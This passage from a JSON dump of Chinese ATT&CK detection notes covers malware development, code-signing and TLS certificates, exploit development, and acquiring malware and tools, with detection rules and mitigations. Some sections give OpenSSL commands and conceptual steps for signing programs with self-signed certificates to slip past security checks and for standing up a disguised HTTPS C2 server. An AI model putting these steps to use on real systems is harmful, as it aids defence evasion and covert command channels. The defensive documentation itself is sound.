检测分发恶意软件的钓鱼邮件。\n- **DNS日志**：\n  - 记录解析到C2服务器或恶意域名的异常查询。\n- **威胁情报日志**：\n  - 关联已知的恶意软件样本、C2地址或开发工具。\n\n## 测试复现\n\n暂无\n\n## 测试留痕\n\n暂无\n\n## 检测规则/思路\n\n由于恶意软件开发多发生在目标组织视野之外，检测需聚焦后续阶段：\n- **网络流量监控**：\n  - 检测与C2服务器的异常通信。\n  - 利用snort规则进行监测。\n\n- **端点监控**：\n  - 使用EDR检测可疑进程或文件。\n\n- **DNS监控**：\n  - 检测解析到C2或恶意域名的查询。\n\n- **威胁情报**：\n  - 关联已知恶意软件样本、C2地址或开发工具。\n\n- **SIEM关联**：\n  - 使用SIEM（如Splunk、ELK）整合网络、端点和邮件日志，识别恶意软件活动。\n\n## 建议\n\n- **减少暴露**：\n  - 限制员工下载未知软件或访问可疑网站。\n  - 定期修补系统和应用程序漏洞，防止恶意软件利用。\n- **安全加固**：\n  - 部署杀毒软件和EDR，检测恶意软件执行。\n  - 配置防火墙，限制与已知C2服务器的通信。\n  - 使用应用白名单，阻止未授权程序运行。\n- **主动监控**：\n  - 使用SIEM分析异常网络或端点活动。\n  - 进行威胁狩猎，主动搜索恶意软件痕迹。\n- **后续检测**：\n  - 监控攻击后续阶段（如命令与控制T1102、提权T1055、数据泄露T1567），通过异常行为发现恶意软件活动。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1587-001  \n  <https://attack.mitre.org/techniques/T1587/001/>\n"
  },
  {
    "path": "Windows/02资源开发/T1587.002-开发能力-代码签名证书.md",
    "content": "# T1587-002-开发能力-代码签名证书\n\n## 描述\n\n在入侵目标之前，攻击者可能会开发自签名的代码签名证书，用于目标定位期间。代码签名是对可执行文件和脚本进行数字签名的过程，以确认软件作者并确保代码未被更改或破坏。代码签名可为开发者的程序提供一定的真实性，并保证程序未被篡改。相比未签名的代码，即使用户或安全工具不知道颁发证书的人或代码的作者是谁，签名的代码也可能更容易获得信任。\n\n攻击者可能通过开发自签名的代码签名证书来伪装合法软件，从而绕过安全检测或提升恶意代码的可信度。自签名证书通常由攻击者自行生成，不依赖受信任的证书颁发机构（CA），因此成本低廉且易于实现。尽管自签名证书可能触发安全警告，但在某些情况下，攻击者可通过社会工程学或其他技术诱导用户忽略这些警告。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **恶意软件团伙盗取大量证书绕过代码签名检查**  \n   攻击者通过窃取合法的代码签名证书，伪装恶意软件以绕过安全软件的检测机制。例如，某些恶意软件使用从合法软件公司泄露的证书进行签名，使其看似可信。  \n   参考链接：<https://www.anquanke.com/post/id/83654>\n\n2. **恶意病毒伪造微软等签名绕过安全软件检测后疯狂挖矿**  \n   攻击者伪造知名公司的代码签名证书（如伪装成微软的签名），使恶意挖矿程序被误认为是合法软件，从而规避安全检测并在受害者系统上执行加密货币挖矿。  \n   参考链接：<https://www.landiannews.com/archives/47396.html>\n\n## 检测日志\n\n**无法有效监测**  \n由于自签名证书的创建通常发生在攻击者的环境中，且不直接与目标系统交互，因此难以通过日志直接检测此类活动。检测可能需要依赖后续行为（如签名代码的执行或异常证书的使用）。以下是可能相关的日志来源：\n\n- **系统日志**：Windows事件日志（如事件ID 4657）可能记录证书安装或信任更改事件。\n- **安全软件日志**：防病毒或EDR工具可能记录可疑签名或不受信任证书的执行尝试。\n- **网络日志**：与证书相关的网络请求（如CRL或OCSP检查）可能提供间接线索。\n\n## 测试复现\n\n以下是一个概念性复现思路，仅供参考：\n\n1. **生成自签名证书**：\n   - 使用工具（如OpenSSL或Windows的`makecert`）生成自签名证书。  \n   - 示例命令（OpenSSL）：\n     ```bash\n     openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes\n     ```\n   - 将生成的证书用于签署简单的测试程序（如PowerShell脚本或可执行文件）。\n\n2. **测试签名程序**：\n   - 在目标系统上运行签名后的程序，观察安全软件（如Windows Defender）的反应。\n   - 模拟用户忽略证书不受信任警告的行为，验证是否能绕过某些安全检查。\n\n**注意**：此复现仅用于学习和测试目的，切勿用于非法活动。\n\n## 测试留痕\n\n无明显留痕。  \n自签名证书的开发活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **证书安装**：如果攻击者将自签名证书安装到目标系统的信任存储中，可能在证书管理器或系统日志中留下记录。\n- **恶意软件执行**：签名后的恶意代码可能触发防病毒软件的警告或异常行为日志。\n- **网络活动**：与证书验证相关的网络请求（如CRL检查）可能被记录在网络流量日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于此类活动主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常证书行为**  \n   - 检查系统中安装的代码签名证书，识别来源不明或自签名的证书。  \n   - 使用工具（如Windows CertMgr或OpenSSL）分析证书链，检测非受信任根证书颁发的签名。  \n   - 示例PowerShell脚本用于检查证书：\n     ```powershell\n     Get-ChildItem -Path Cert:\\LocalMachine\\Root | Where-Object { $_.Issuer -eq $_.Subject }\n     ```\n\n2. **行为分析**  \n   - 监控可执行文件的签名状态，重点关注签名无效或使用自签名证书的文件。  \n   - 使用EDR（端点检测与响应）工具检测异常进程或文件的执行行为，尤其是与签名不匹配的情况。  \n   - 示例Sigma规则（检测自签名证书的进程）：\n     ```yaml\n     title: Detect Self-Signed Certificate Execution\n     logsource:\n       category: process_creation\n       product: windows\n     detection:\n       selection:\n         Image|endswith: '.exe'\n         SignatureStatus: 'Invalid'\n       condition: selection\n     fields:\n       - Image\n       - SignatureStatus\n     ```\n\n3. **网络流量分析**  \n   - 检测与已知恶意或可疑证书相关的网络通信（如证书吊销列表CRL请求）。  \n   - 监控异常的HTTPS流量，检查是否涉及自签名证书的TLS连接。  \n   - 示例：使用Wireshark过滤与证书验证相关的流量：\n     ```plaintext\n     http.request.method == GET && http.request.uri contains \"crl\"\n     ```\n\n4. **SIEM集成**  \n   - 将证书相关的事件（如证书安装、签名验证失败）集成到SIEM系统中，设置告警规则以发现异常模式。\n\n## 建议\n\n### 缓解措施\n\n由于代码签名证书的开发发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强代码签名验证**  \n   - 确保系统只信任来自受信证书颁发机构（CA）的签名代码，限制自签名证书的执行。  \n   - 在操作系统或安全软件中配置策略，阻止未签名或签名无效的可执行文件运行。  \n   - 示例Windows组策略设置：\n     - 路径：`计算机配置->管理模板->系统->驱动程序安装`\n     - 启用“代码签名用于设备驱动程序”并选择“阻止”。\n\n2. **用户教育**  \n   - 培训用户识别可疑软件，避免运行未知来源或提示证书不受信任的程序。  \n   - 教授用户如何检查软件的数字签名（如右键单击文件->属性->数字签名）。\n\n3. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许经过验证的合法应用程序运行，减少恶意签名的影响。  \n   - 示例工具：Windows AppLocker或第三方解决方案（如Carbon Black）。\n\n4. **证书管理**  \n   - 定期审计系统中的证书，移除或限制不受信任的根证书或中间证书。  \n   - 使用证书透明度（CT）日志监控可疑证书的颁发。  \n   - 示例命令（检查Windows证书存储）：\n     ```powershell\n     certutil -store root\n     ```\n\n5. **系统加固**  \n   - 禁用用户安装不受信任证书的能力，限制对证书存储的修改权限。  \n   - 配置防火墙规则，限制与未知证书相关的网络通信。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于：  \n- **异常签名检测**：监控系统中运行的可执行文件，检查签名证书的合法性（如是否来自未知或自签名证书）。  \n- **根证书安装监控**：检测系统中是否安装了非预期或不受信任的根证书，可能是攻击者为后续活动铺垫的迹象。  \n  - 示例Windows事件ID：4657（注册表更改，可能涉及证书存储）。  \n- **行为监控**：通过EDR或SIEM系统，关注异常的文件执行、进程行为或网络活动，尤其是与自签名证书相关的行为。  \n- **威胁情报整合**：使用威胁情报平台（如VirusTotal或Recorded Future）检查已知恶意证书的指纹或哈希值。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1587-002  \n  <https://attack.mitre.org/techniques/T1587/002/>  \n- 恶意软件团伙盗取大量证书用来绕过代码签名检查  \n  <https://www.anquanke.com/post/id/83654>  \n- 恶意病毒伪造微软等签名绕过安全软件检测后疯狂挖矿  \n  <https://www.landiannews.com/archives/47396.html>"
  },
  {
    "path": "Windows/02资源开发/T1587.003-开发能力-数字证书.md",
    "content": "# T1587-003-开发能力-数字证书\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会开发自签名的SSL/TLS证书，用于目标定位期间。SSL/TLS证书旨在确保通信安全与信任，包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果签名有效且检查证书的人员信任签名者，则可确认使用该密钥与其所有者进行安全通信。然而，自签名证书由于缺乏第三方证书颁发机构（CA）的签名，缺少可信度。\n\n攻击者可能创建自签名的SSL/TLS证书，用于多种恶意目的，例如加密命令与控制（C2）流量（如通过Web协议）、伪装合法服务，甚至在证书被添加到目标系统的信任根存储（即安装根证书）后实施中间人（MITM）攻击。这些证书可帮助攻击者掩盖恶意活动或绕过安全检测。\n\n## 测试案例\n\n以下为辅助理解的案例：\n\n1. **CS通过(CDN+证书)PowerShell上线**  \n   攻击者利用自签名SSL/TLS证书结合内容分发网络（CDN），通过PowerShell脚本建立隐蔽的C2通道，绕过网络检测。  \n   参考链接：<https://blog.csdn.net/god_zzZ/article/details/109057803>\n\n2. **伪装合法服务**  \n   攻击者可能使用自签名证书为恶意Web服务器或钓鱼网站提供HTTPS支持，诱导用户信任并输入敏感信息。\n\n## 检测日志\n\n**无法有效监测**  \n自签名SSL/TLS证书的开发通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **系统日志**：Windows事件日志（如事件ID 4657）可能记录证书安装或信任更改事件。\n- **网络日志**：与证书验证相关的网络请求（如OCSP或CRL检查）可能提供间接线索。\n- **安全软件日志**：EDR或防病毒工具可能记录与不受信任证书相关的异常网络连接或进程行为。\n\n## 测试复现\n\n无具体复现方法。  \n\n以下是一个概念性复现思路，仅供参考：\n\n1. **生成自签名SSL/TLS证书**：\n   - 使用工具（如OpenSSL）生成自签名证书。  \n   - 示例命令：\n     ```bash\n     openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj \"/C=US/ST=State/L=City/O=Organization/OU=Unit/CN=example.com\"\n     ```\n   - 将生成的证书用于配置简单的HTTPS服务器（如使用Python的`http.server`模块）。\n\n2. **测试恶意场景**：\n   - 配置一个伪装的Web服务器，使用自签名证书提供HTTPS服务。\n   - 模拟通过PowerShell脚本连接该服务器，测试C2通信的隐蔽性。\n   - 观察目标系统（如Windows）对不受信任证书的反应，模拟用户忽略警告的行为。\n\n**注意**：此复现仅用于学习和测试目的，切勿用于非法活动。\n\n## 测试留痕\n\n无明显留痕。  \n\n自签名SSL/TLS证书的开发活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **证书安装**：如果攻击者将自签名证书安装到目标系统的信任根存储中，可能在证书管理器或系统日志中留下记录。\n- **网络活动**：与自签名证书相关的HTTPS流量可能触发安全警告或被记录在网络日志中（如TLS握手失败）。\n- **恶意行为**：使用自签名证书的恶意服务或C2通信可能在EDR或防病毒日志中留下异常行为记录。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于此类活动主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常证书行为**  \n   - 检查系统中安装的SSL/TLS证书，识别来源不明或自签名的证书。  \n   - 使用工具（如Windows CertMgr或OpenSSL）分析证书链，检测非受信任根证书。  \n   - 示例PowerShell脚本用于检查根证书存储：\n     ```powershell\n     Get-ChildItem -Path Cert:\\LocalMachine\\Root | Where-Object { $_.Issuer -eq $_.Subject }\n     ```\n\n2. **网络流量分析**  \n   - 监控HTTPS流量，检测使用自签名证书的异常TLS连接。  \n   - 检查与证书验证相关的网络请求（如CRL或OCSP请求），识别可疑证书指纹。  \n   - 示例Wireshark过滤器：\n     ```plaintext\n     ssl.handshake.certificate && ssl.handshake.type == 11\n     ```\n\n3. **行为分析**  \n   - 使用EDR工具检测与自签名证书相关的异常进程或网络行为，如PowerShell脚本发起的HTTPS请求。  \n   - 示例Sigma规则（检测自签名证书的网络连接）：\n     ```yaml\n     title: Detect Self-Signed Certificate in TLS Traffic\n     logsource:\n       category: network\n       product: windows\n     detection:\n       selection:\n         DestinationPort: 443\n         CertificateIssuer: CertificateSubject\n       condition: selection\n     fields:\n       - DestinationPort\n       - CertificateIssuer\n       - CertificateSubject\n     ```\n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal或ThreatConnect）检查已知恶意证书的指纹或域名，关联潜在的攻击者基础设施。\n\n## 建议\n\n### 缓解措施\n\n由于自签名SSL/TLS证书的开发发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强证书验证**  \n   - 配置系统仅信任来自受信证书颁发机构（CA）的SSL/TLS证书，限制自签名证书的使用。  \n   - 在浏览器或操作系统中启用严格的证书检查，阻止不受信任证书的连接。  \n   - 示例：配置Windows组策略：\n     - 路径：`计算机配置->管理模板->系统->Internet通信管理->Internet通信设置`\n     - 启用“关闭自动根证书更新”以防止意外信任。\n\n2. **用户教育**  \n   - 培训用户识别可疑HTTPS网站，尤其是提示证书不受信任的页面。  \n   - 教授用户如何检查证书详情（如右键单击浏览器锁图标->查看证书）。\n\n3. **网络安全控制**  \n   - 部署TLS解密设备（如下一代防火墙）以检查加密流量，识别自签名证书的使用。  \n   - 配置入侵检测系统（IDS）以检测异常TLS握手或证书错误。\n\n4. **证书管理**  \n   - 定期审计系统中的根证书和中间证书，移除或限制不受信任的证书。  \n   - 使用证书透明度（CT）日志监控可疑证书的颁发。  \n   - 示例命令（检查Windows证书存储）：\n     ```powershell\n     certutil -store root\n     ```\n\n5. **应用程序白名单**  \n   - 限制系统运行仅信任来源的应用程序，减少恶意代码利用自签名证书的机会。  \n   - 示例工具：Windows AppLocker或第三方解决方案（如CrowdStrike）。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于：  \n- **异常证书检测**：监控系统中运行的HTTPS连接，检查证书是否为自签名或来自不受信任的CA。  \n- **根证书安装监控**：检测系统中是否安装了非预期或不受信任的根证书，可能为攻击者铺垫中间人攻击的迹象。  \n  - 示例Windows事件ID：4657（注册表更改，可能涉及证书存储）。  \n- **网络行为监控**：通过EDR或SIEM系统，关注异常的HTTPS流量、PowerShell脚本执行或与可疑域名相关的通信。  \n- **证书信息追踪**：利用证书透明度（CT）日志或其他服务，跟踪Internet上使用的证书，识别与攻击者基础设施相关的证书。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1587-003  \n  <https://attack.mitre.org/techniques/T1587/003/>  \n\n- CS通过(CDN+证书)PowerShell上线详细版  \n  <https://blog.csdn.net/god_zzZ/article/details/109057803>"
  },
  {
    "path": "Windows/02资源开发/T1587.004-开发能力-漏洞利用.md",
    "content": "# T1587-004-开发能力-漏洞利用\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会开发可在目标定位期间使用的漏洞利用程序。漏洞利用程序利用软硬件的脆弱性来引发计算机硬件或软件上发生意外或未预期的行为。攻击者可能会开发自己的漏洞，而不是在网上查找或修改漏洞，亦或从漏洞供应商那里购买漏洞。攻击者可能会使用通过漏洞获取的信息来卸载漏洞利用程序的开发。作为漏洞利用程序开发过程的一部分，攻击者可能会通过模糊测试和补丁分析等方法来挖掘可利用的漏洞。\n\n与合法的开发工作一样，漏洞利用程序可能需要不同的技能。所需的技能可能位于内部，也可能需要外包。外包的使用可以被认为是该攻击者漏洞利用程序开发能力的扩展，只要攻击者在确定需求方面发挥作用并保持对漏洞利用程序一定的独占性即可。\n\n攻击者可能会在生命周期的各个阶段使用漏洞（即面向公众应用的漏洞利用、客户端执行利用、利用漏洞提权、利用漏洞防御逃逸、利用漏洞获取凭据、利用远程服务漏洞，以及利用应用程序或系统漏洞发动拒绝服务攻击）。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **开发针对特定软件的漏洞利用**  \n   攻击者可能针对流行软件（如浏览器、操作系统或服务器软件）的已知或零日漏洞开发定制化漏洞利用程序。例如，针对旧版Microsoft Windows的SMB协议漏洞（如EternalBlue）开发利用程序。\n\n2. **模糊测试发现新漏洞**  \n   攻击者可能通过模糊测试（Fuzzing）技术向目标软件输入大量异常数据，触发未预期的行为并发现可利用的漏洞，随后开发相应的利用代码。\n\n## 检测日志\n\n**无法有效监测**  \n漏洞利用程序的开发通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。\n\n可能相关的日志来源包括：\n\n- **系统日志**：如果漏洞利用程序在目标系统上执行，可能在Windows事件日志（如事件ID 4688、4689）中记录异常进程或行为。\n- **安全软件日志**：EDR或防病毒工具可能记录漏洞利用尝试触发的异常行为（如缓冲区溢出或内存异常）。\n- **网络日志**：与漏洞利用相关的网络流量（如异常的HTTP请求或协议异常）可能提供间接线索。\n\n## 测试复现\n\n无具体复现方法。 \n\n## 测试留痕\n\n漏洞利用程序的开发活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **漏洞利用执行**：如果漏洞利用程序在目标系统上运行，可能触发异常进程、文件操作或系统崩溃，记录在系统日志或EDR中。\n- **网络活动**：漏洞利用可能生成异常网络流量（如畸形数据包或异常协议行为），记录在IDS/IPS或网络日志中。\n- **内存异常**：漏洞利用可能导致内存访问异常，触发安全软件的告警。\n\n## 检测规则/思路\n\n**检测规则**  \n\n无明确的检测规则。\n\n由于漏洞利用程序的开发主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常行为**  \n   - 使用EDR工具检测异常进程行为，如缓冲区溢出、堆喷射（Heap Spraying）或代码注入。  \n\n2. **网络流量分析**  \n   - 监控异常的网络流量模式，如畸形HTTP请求、异常协议行为或高频连接尝试。  \n\n3. **补丁管理监控**  \n   - 定期检查系统补丁状态，识别未修补的已知漏洞（CVE），推断可能的攻击目标。  \n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal或AlienVault）检查已知漏洞利用的特征（如恶意IP、域名或Payload哈希）。  \n   - 关联已知的CVE编号与系统日志，识别潜在的漏洞利用尝试。\n\n## 建议\n\n### 缓解措施\n\n由于漏洞利用程序的开发发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **及时补丁管理**  \n   - 定期更新操作系统、应用程序和固件，修补已知漏洞，减少可被利用的攻击面。  \n   - 使用补丁管理工具（如WSUS或SCCM）确保补丁及时部署。\n\n2. **最小权限原则**  \n   - 限制用户和应用程序的权限，减少漏洞利用导致的特权提升或横向移动风险。  \n   - 示例：启用Windows的UAC（用户账户控制）并限制管理员账户使用。\n\n3. **安全配置**  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）、数据执行保护（DEP）和控制流保护（CFG）。  \n   - 配置防火墙规则，限制异常网络流量。\n\n4. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，减少恶意代码执行的机会。  \n\n5. **用户教育**  \n   - 培训用户识别可疑文件或链接，避免触发客户端漏洞利用（如恶意PDF或Office文档）。  \n   - 教授用户检查软件来源和数字签名。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于： \n\n- **异常行为检测**：监控系统中的异常进程、内存访问或文件操作，识别潜在的漏洞利用行为。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注异常的网络流量模式，如畸形数据包或高频连接。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与漏洞利用相关的行为（如提权或防御逃逸）。  \n- **威胁情报整合**：利用威胁情报平台，关联已知漏洞利用的IOC（Indicators of Compromise），如恶意IP、域名或Payload特征。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1587-004  \n  <https://attack.mitre.org/techniques/T1587/004/>"
  },
  {
    "path": "Windows/02资源开发/T1588.001-获取能力-恶意软件.md",
    "content": "# T1588-001-获取能力-恶意软件\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会购买、窃取或下载可在目标定位期间使用的恶意软件和恶意软件组件。恶意软件可能包括有效载荷、释放程序、后渗透工具、后门、加壳程序、C2协议以及创建受感染的可移动存储设备。攻击者可能会获取恶意软件来支持其操作，创建一种手段来维持对远程计算机的控制、防御逃逸及执行后渗透动作。\n\n攻击者除了可以从互联网上下载免费的恶意软件外，还可以从第三方实体购买这些功能。第三方实体可以包括专门从事恶意软件开发的技术公司、网络犯罪市场（包括恶意软件即服务或MaaS）或个人。除了购买恶意软件外，攻击者还可以从第三方实体（包括其他攻击者）窃取恶意软件并用于其它目的。获取的恶意软件可能被定制化以适应特定目标或攻击场景，从而提高攻击的隐蔽性和成功率。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **购买恶意软件即服务（MaaS）**  \n   攻击者通过暗网市场购买现成的恶意软件（如Emotet或TrickBot），用于分发勒索软件或窃取凭据。这些服务通常提供用户友好的界面，便于非技术人员使用。  \n\n2. **窃取开源恶意软件**  \n   攻击者从GitHub或其他公开平台下载开源恶意软件代码（如Remote Access Trojans或RATs），对其进行修改后用于针对性攻击。例如，修改开源RAT以添加自定义C2通信协议。\n\n## 检测日志\n\n**无法有效监测**  \n恶意软件的获取通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **系统日志**：如果恶意软件在目标系统上执行，可能在Windows事件日志（如事件ID 4688、4689）中记录异常进程或行为。\n- **安全软件日志**：EDR或防病毒工具可能记录已知恶意软件的签名或异常行为。\n- **网络日志**：与C2通信相关的网络流量（如异常的HTTP或DNS请求）可能提供间接线索。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n恶意软件的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **恶意软件执行**：恶意软件运行可能触发异常进程、文件操作或注册表更改，记录在系统日志或EDR中。\n- **网络活动**：与C2服务器的通信可能生成异常网络流量（如DNS请求或加密通信），记录在IDS/IPS或网络日志中。\n- **文件系统痕迹**：恶意软件可能在系统中创建临时文件或配置文件，记录在文件系统日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于恶意软件的获取主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常进程行为**  \n   - 使用EDR工具检测异常进程启动或行为，如未知可执行文件的运行或异常的系统调用。  \n\n2. **网络流量分析**  \n   - 监控异常的网络通信，如与已知恶意C2服务器的连接或异常的DNS请求。  \n\n3. **文件系统监控**  \n   - 检测系统中出现的未知或可疑文件（如带有随机名称的.exe文件）。  \n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal、AlienVault）检查已知恶意软件的哈希、IP地址或域名，关联潜在的攻击活动。\n\n## 建议\n\n### 缓解措施\n\n由于恶意软件的获取发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强端点防护**  \n   - 部署并更新防病毒软件和EDR工具，检测已知恶意软件的签名和行为。  \n\n2. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，减少恶意软件执行的机会。  \n\n3. **网络安全控制**  \n   - 配置防火墙和IDS/IPS，阻止与已知恶意C2服务器的通信。  \n   - 部署DNS过滤，阻止对可疑域名的访问。  \n\n4. **用户教育**  \n   - 培训用户识别可疑文件、电子邮件附件或链接，避免触发恶意软件。  \n   - 教授用户检查文件来源和数字签名。\n\n5. **系统加固**  \n   - 禁用不必要的服务和端口，减少恶意软件利用的攻击面。  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）和数据执行保护（DEP）。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在攻击生命周期中的后续行为上，包括但不限于：  \n- **异常行为检测**：监控系统中的异常进程、文件操作或注册表更改，识别潜在的恶意软件执行。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注异常的网络流量模式，如与可疑IP或域名的通信。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与恶意软件相关的行为（如后门或C2通信）。  \n- **威胁情报整合**：利用威胁情报平台，关联已知恶意软件的IOC（Indicators of Compromise），如文件哈希、IP地址或域名。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1588-001  \n  <https://attack.mitre.org/techniques/T1588/001/>"
  },
  {
    "path": "Windows/02资源开发/T1588.002-获取能力-工具.md",
    "content": "# T1588-002-获取能力-工具\n\n## 描述\n\n在入侵目标组织之前，攻击者可能会购买、窃取或下载可在目标定位期间使用的软件工具。工具可以是开源的，也可以是封闭的，免费的或商业的。攻击者可能将原本非恶意的工具（如PsExec）用于恶意目的。工具的获取可能涉及购买商业软件许可证，包括用于红队工具（如Cobalt Strike）的许可证。商业软件可以通过合法购买、窃取许可证（或软件的许可副本）或破解试用版获得。\n\n攻击者获取工具以支持其操作，包括支持后渗透行为，如横向移动、数据收集或持久化。除了从互联网免费下载或购买软件外，攻击者还可以从第三方实体（包括其他攻击者）窃取软件或软件许可。这些工具可能被进一步定制，以适应特定攻击场景或提高隐蔽性。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **使用合法工具进行恶意操作**  \n   攻击者可能获取合法的系统管理工具（如PsExec或PowerShell）并用于恶意目的，例如在目标网络中执行横向移动或远程命令执行。\n\n2. **购买或窃取红队工具**  \n   攻击者通过暗网市场购买Cobalt Strike的破解许可证，或窃取合法红队测试团队的许可副本，用于构建C2基础设施或执行后渗透攻击。\n\n## 检测日志\n\n**无法有效监测**  \n工具的获取通常发生在攻击者的环境中，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **系统日志**：如果攻击者使用获取的工具在目标系统上执行操作，可能在Windows事件日志（如事件ID 4688、4689）中记录异常进程或命令执行。\n- **安全软件日志**：EDR或防病毒工具可能记录合法工具的异常使用行为，如PsExec在非预期环境中的运行。\n- **网络日志**：与工具相关的网络通信（如Cobalt Strike的C2流量）可能生成异常流量模式，记录在IDS/IPS或网络日志中。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n\n工具的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **工具执行**：工具运行可能触发异常进程、命令行参数或文件操作，记录在系统日志或EDR中。\n- **网络活动**：工具（如Cobalt Strike）与C2服务器的通信可能生成异常网络流量，记录在IDS/IPS或网络日志中。\n- **文件系统痕迹**：工具可能在系统中创建临时文件或配置文件，记录在文件系统日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。由于工具的获取主要发生在攻击者的环境中，传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路：\n\n1. **监控异常工具使用**  \n   - 使用EDR工具检测合法工具的异常使用，如PsExec在非管理场景中的运行或Mimikatz的内存操作。  \n\n2. **网络流量分析**  \n   - 监控与已知C2工具（如Cobalt Strike）相关的网络通信，检测异常的HTTP、DNS或加密流量。  \n\n3. **文件系统监控**  \n   - 检测系统中出现的未知或可疑工具文件（如带有随机名称的.exe文件）。  \n\n4. **威胁情报整合**  \n   - 使用威胁情报平台（如VirusTotal、ThreatConnect）检查已知恶意工具的哈希、IP地址或域名，关联潜在的攻击活动。\n\n## 建议\n\n### 缓解措施\n\n由于工具的获取发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **增强端点防护**  \n   - 部署并更新EDR或防病毒工具，检测合法工具的异常使用行为。  \n\n2. **应用程序白名单**  \n   - 部署应用程序白名单策略，仅允许受信任的应用程序运行，限制未经授权的工具执行。  \n\n3. **网络安全控制**  \n   - 配置防火墙和IDS/IPS，阻止与已知C2服务器或可疑域名的通信。  \n   - 部署DNS过滤，阻止对可疑域名的访问。  \n\n4. **用户教育**  \n   - 培训用户识别可疑文件、链接或下载行为，避免从不可信来源获取工具。  \n\n5. **系统加固**  \n   - 禁用不必要的管理工具和服务（如远程桌面或WMI），减少被滥用的可能性。  \n   - 启用系统防护机制，如地址空间布局随机化（ASLR）和数据执行保护（DEP）。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在攻击生命周期的后续阶段，包括但不限于：  \n- **异常行为检测**：监控系统中异常的工具执行行为，如PsExec或PowerShell在非预期场景中的使用。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注异常的网络流量模式，如与C2服务器的通信。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或安全软件日志，识别与工具滥用相关的行为。  \n- **威胁情报整合**：利用威胁情报平台，关联已知工具的IOC（Indicators of Compromise），如文件哈希、IP地址或域名。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1588-002  \n  <https://attack.mitre.org/techniques/T1588/002/>"
  },
  {
    "path": "Windows/02资源开发/T1588.003-获取能力-代码签名证书.md",
